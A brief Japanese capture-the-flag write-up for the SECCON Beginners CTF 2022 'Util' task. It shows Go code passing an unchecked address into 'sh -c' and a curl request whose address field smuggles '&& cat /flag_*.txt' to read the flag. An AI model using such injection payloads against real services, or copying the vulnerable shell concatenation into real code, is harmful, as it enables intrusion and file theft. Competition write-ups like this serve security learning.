SECCON Beginners CTF 2022
· 約9分

Util
main.goを確認すると以下のように渡されたアドレスをそのまま文字列として結合してshに渡しているのでCommand Injectionが可能であり、ここにアドレスの後にflagを取得するコードも含めて渡せば取得できます。
flagは以下で書き込まれているので
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
cat /flag_*.txtを渡してやれば良いことが分かります。
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
IPアドレスのチェックはクライアント側で行われているのでcurlで送信しました。
curl 'https://util.quals.beginners.seccon.jp/util/ping' -X POST -H "Content-Type: application/json" -d '{"address":"127.0.0.1 && cat /flag_*.txt"}'
